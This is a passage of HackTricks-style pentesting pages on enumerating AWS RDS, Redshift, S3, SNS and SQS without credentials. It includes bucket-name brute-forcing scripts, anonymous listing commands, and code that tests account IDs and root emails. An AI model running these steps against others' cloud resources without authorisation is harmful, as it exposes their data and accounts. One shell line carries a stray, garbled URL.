aws rds describe-db-snapshots --snapshot-type public [--region us-west-2]
## Even if in the console appear as there are public snapshot it might be public
## snapshots from other accounts used by the current account
```
### Public URL template
```
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,11 @@
# AWS - Redshift Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
### Public URL template
```
{user_provided}.<random>.<region>.redshift.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,203 @@
# AWS - S3 Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
## S3 Public Buckets
A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**.
Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs).
**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud)
### Finding AWS Buckets
Different methods to find when a webpage is using AWS to storage some resources:
#### Enumeration & OSINT:
- Using **wappalyzer** browser plugin
- Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History.
- **Check for resources** in domains like:
```
http://s3.amazonaws.com/[bucket_name]/
http://[bucket_name].s3.amazonaws.com/
```
- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com`
- Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**.
- The **bucket name** and the **bucket domain name** needs to be **the same.**
- **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`.
- To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/).
#### Brute-Force
You can find buckets by **brute-forcing name**s related to the company you are pentesting:
- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner)
- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector)
- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names)
- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets)
- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky)
- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers)
- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3)
- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner)
- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter)
<pre class="language-bash"><code class="lang-bash"># Generate a wordlist to create permutations
curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
# Generate a wordlist based on the domains and subdomains to test
## Write those domains and subdomains in subdomains.txt
cat subdomains.txt > /tmp/words-hosts-s3.txt
cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
# Create permutations based in a list with the domains and subdomains to attack
goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
## The previous tool is specialized increating permutations for subdomains, lets filter that list
<strong>### Remove lines ending with "."
</strong>cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
### Create list without TLD
cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
### Create list without dots
cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
### Create list without hyphens
cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
## Generate the final wordlist
cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
## Call s3scanner
s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep bucket_exists
</code></pre>
#### Loot S3 Buckets
Given S3 open buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) can automatically **search for interesting information**.
### Find the Region
You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
#### By DNS
You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**:
```bash
dig flaws.cloud
;; ANSWER SECTION:
flaws.cloud. 5 IN A 52.218.192.11
nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
```
Check that the resolved domain have the word "website".\
You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com`
#### By Trying
If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**:
![](<../../../images/image (106).png>)
### Enumerating the bucket
To test the openness of the bucket a user can just enter the URL in their web browser. A private bucket will respond with "Access Denied". A public bucket will list the first 1,000 objects that have been stored.
Open to everyone:
![](<../../../images/image (201).png>)
Private:
![](<../../../images/image (83).png>)
You can also check this with the cli:
```bash
#Use --no-sign-request for check Everyones permissions
#Use --profile <PROFILE_NAME> to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions
#--recursive if you want list recursivelyls
#Opcionally you can select the region if you now it
aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
```
If the bucket doesn't have a domain name, when trying to enumerate it, **only put the bucket name** and not the whole AWSs3 domain. Example: `s3://<BUCKETNAME>`
### Public URL template
```
https://{user_provided}.s3.amazonaws.com
```
### Get Account ID from public Bucket
It's possible to determine an AWS account by taking advantage of the new **`S3:ResourceAccount`** **Policy Condition Key**. This condition **restricts access based on the S3 bucket** an account is in (other account-based policies restrict based on the account the requesting principal is in).\
And because the policy can contain **wildcards** it's possible to find the account number **just one number at a time**.
This tool automates the process:
```bash
# Installation
pipx install s3-account-search
pip install s3-account-search
# With a bucket
s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
# With an object
s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
```
This technique also works with API Gateway URLs, Lambda URLs, Data Exchange data sets and even to get the value of tags (if you know the tag key). You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
### Confirming a bucket belongs to an AWS account
As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, if you have permissions to list a bucket** its possible to confirm an accountID the bucket belongs to by sending a request like:
```bash
curl -X GET "[bucketname].amazonaws.com/" \
-H "x-amz-expected-bucket-owner: [correct-account-id]"
<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">...</ListBucketResult>
```
If the error is an “Access Denied” it means that the account ID was wrong.
### Used Emails as root account enumeration
As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **trying to grant an email permissions** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account:
```python
s3_client.put_bucket_acl(
Bucket=bucket_name,
AccessControlPolicy={
'Grants': [
{
'Grantee': {
'EmailAddress': 'some@emailtotest.com',
'Type': 'AmazonCustomerByEmail',
},
'Permission': 'READ'
},
],
'Owner': {
'DisplayName': 'Whatever',
'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef'
}
}
)
```
## References
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,21 @@
# AWS - SNS Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
## SNS
For more information about SNS check:
{{#ref}}
../aws-services/aws-sns-enum.md
{{#endref}}
### Open to All
When you configure a SNS topic from the web console it's possible to indicate that **Everyone can publish and subscribe** to the topic:
<figure><img src="../../../images/image (212).png" alt=""><figcaption></figcaption></figure>
So if you **find the ARN of topics** inside the account (or brute forcing potential names for topics) you can **check** if you can **publish** or **subscribe** to **them**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,23 @@
# AWS - SQS Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
## SQS
For more information about SQS check:
{{#ref}}
../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
### Public URL template
```
https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
```
### Check Permissions
It's possible to misconfigure a SQS queue policy and grant permissions to everyone in AWS to send and receive messages, so if you get the ARN of queues try if you can access them.
{{#include ../../../banners/hacktricks-training.md}}